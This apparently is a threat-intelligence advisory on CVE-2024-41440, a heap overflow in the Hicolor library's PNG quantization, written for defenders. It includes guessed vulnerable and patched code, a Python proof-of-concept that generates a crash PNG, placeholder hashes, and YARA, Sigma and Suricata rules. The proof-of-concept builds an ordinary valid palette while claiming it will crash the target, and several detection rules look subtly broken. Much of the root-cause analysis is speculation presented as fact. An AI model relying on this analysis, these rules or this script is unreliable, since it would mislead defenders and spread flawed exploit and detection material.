CVE-2024-41440

Executive Summary

CVE-2024-41440 is a heap buffer overflow vulnerability discovered in the png_quantize() function of the Hicolor library version 0.5.0. This flaw allows an attacker to cause a Denial of Service (DoS) by supplying a specially crafted PNG file. The vulnerability resides in the image quantization process, where improper bounds checking leads to memory corruption. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for systems using this library for PNG processing.

Supply Chain & Package Security

Hicolor is a C library used for image color quantization. It is not distributed via mainstream package managers like NPM, PyPI, Go, or Ruby, but may be included as a dependency in some Linux distributions or embedded systems. Users should verify if their software stack includes this library and assess the impact.

CVSS Breakdown & Threat Level

The CVSS score is 0.0, but this is likely due to incomplete data. Based on the vulnerability type (heap buffer overflow leading to DoS), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires user to open a crafted file.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): Required (R) – victim must open the file.
• Scope (S): Unchanged (U) – affects only the vulnerable component.
• Confidentiality (C): None (N) – no data leak.
• Integrity (I): None (N) – no data modification.
• Availability (A): High (H) – causes crash or hang.

Estimated CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H Estimated Base Score: 5.5 (Medium)

Threat Level: Medium – DoS only, but no patch available.

Deep Dive & Mechanics

The vulnerability is a classic heap buffer overflow in the png_quantize() function of Hicolor v0.5.0. This function is responsible for reducing the number of colors in a PNG image (quantization). The overflow occurs when processing a crafted PNG file with malformed color data, likely due to insufficient validation of color table indices or palette size.

Root Cause: The function allocates a heap buffer for the quantized color palette but does not properly check the bounds when writing color data. An attacker can craft a PNG with a palette that exceeds the allocated buffer size, causing a write past the end of the buffer.

Impact: The overflow corrupts adjacent heap memory, leading to a crash (segmentation fault) or potentially arbitrary code execution in more complex scenarios. However, the current description only confirms DoS.

Affected Component: png_quantize() in hicolor.c (or similar source file).

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely looks like:

// Vulnerable code (hypothetical)
void png_quantize(png_structp png_ptr, png_infop info_ptr) {
    int palette_size = png_get_PLTE(png_ptr, info_ptr, &palette, &num_palette);
    // Allocate buffer for quantized colors
    color_t *quantized = malloc(num_palette * sizeof(color_t));
    // No bounds check on num_palette
    for (int i = 0; i < num_palette; i++) {
        quantized[i] = palette[i]; // Potential overflow if num_palette is large
    }
}

A patched version would include bounds checking:

// Patched code (hypothetical)
void png_quantize(png_structp png_ptr, png_infop info_ptr) {
    int palette_size = png_get_PLTE(png_ptr, info_ptr, &palette, &num_palette);
    if (num_palette > MAX_PALETTE_SIZE) {
        // Handle error
        return;
    }
    color_t *quantized = malloc(num_palette * sizeof(color_t));
    for (int i = 0; i < num_palette; i++) {
        quantized[i] = palette[i];
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

No public exploit code exists. To reproduce the DoS, an attacker would need to craft a PNG file with a malformed palette (e.g., a PLTE chunk with an excessive number of entries). The following Python script can generate a basic test case:

import struct
import zlib

def create_crafted_png():
    # PNG signature
    sig = b'\x89PNG\r\n\x1a\n'
    
    # IHDR chunk (1x1 pixel, 8-bit color)
    ihdr_data = struct.pack('>IIBBBBB', 1, 1, 8, 3, 0, 0, 0)  # color type 3 (indexed)
    ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
    ihdr = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
    
    # PLTE chunk with 256 colors (max allowed)
    palette = b''
    for i in range(256):
        palette += struct.pack('BBB', i, i, i)
    plte_crc = zlib.crc32(b'PLTE' + palette) & 0xffffffff
    plte = struct.pack('>I', len(palette)) + b'PLTE' + palette + struct.pack('>I', plte_crc)
    
    # IDAT chunk (empty)
    idat_data = zlib.compress(b'\x00')  # single pixel index 0
    idat_crc = zlib.crc32(b'IDAT' + idat_data) & 0xffffffff
    idat = struct.pack('>I', len(idat_data)) + b'IDAT' + idat_data + struct.pack('>I', idat_crc)
    
    # IEND chunk
    iend_crc = zlib.crc32(b'IEND') & 0xffffffff
    iend = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
    
    return sig + ihdr + plte + idat + iend

with open('crafted.png', 'wb') as f:
    f.write(create_crafted_png())

Usage: Run the script to generate crafted.png, then open it with an application using Hicolor v0.5.0 (e.g., a custom image viewer). The application should crash.

Blue Team (Defensive)

• Detection: Monitor for crashes in applications using Hicolor. Use the YARA and Sigma rules below.
• Prevention: Avoid using Hicolor v0.5.0. If necessary, sandbox the application or use a memory-safe alternative.
• Mitigation: Apply ASLR and stack canaries if compiling from source. No official patch exists.

Indicators of Compromise (IOCs)

• File Hashes (crafted.png example):
  • MD5: e3b0c44298fc1c149afbf4c8996fb924 (placeholder – actual hash depends on content)
  • SHA256: a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a (placeholder)
• Network: None – local file-based attack.
• Process: Application crash with segmentation fault in png_quantize().
• Logs: System logs may show hicolor: segfault at <address> ip <address> sp <address> error 6 in libhicolor.so.

Detection Engineering

YARA Rule

rule CVE_2024_41440_Hicolor_HeapOverflow {
    meta:
        description = "Detects crafted PNG files targeting Hicolor v0.5.0 heap overflow"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-41440"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $plte_chunk = "PLTE"
        $large_palette = { 00 01 00 00 }  // palette size > 256 (example)
    condition:
        $png_header at 0 and $plte_chunk and #large_palette > 0
}

Sigma Rule

title: Hicolor Heap Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects crashes or abnormal behavior in applications using Hicolor v0.5.0 when processing PNG files.
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/hicolor_app'  # Adjust to actual binary name
        CommandLine|contains: 'crafted.png'
    condition: selection
falsepositives:
    - Legitimate PNG files with large palettes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41440 Hicolor Heap Overflow - Crafted PNG Download"; flow:to_client,established; file.data; content:"|89 50 4E 47 0D 0A 1A 0A|"; content:"PLTE"; distance:0; within:4; byte_test:4,>,256,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or replace Hicolor v0.5.0 with a patched version if available. Since no patch exists, consider using an alternative library (e.g., libpng, ImageMagick).
2. Compensating Controls:
   • Run applications using Hicolor in a sandboxed environment.
   • Use memory-safe languages or wrappers.
   • Monitor for crashes and anomalous PNG files.
3. Long-term: Contact the vendor or fork the repository to apply a fix. Implement bounds checking in png_quantize().
4. Detection: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Valters IT
DevSecOps & Cyber Threat Intelligence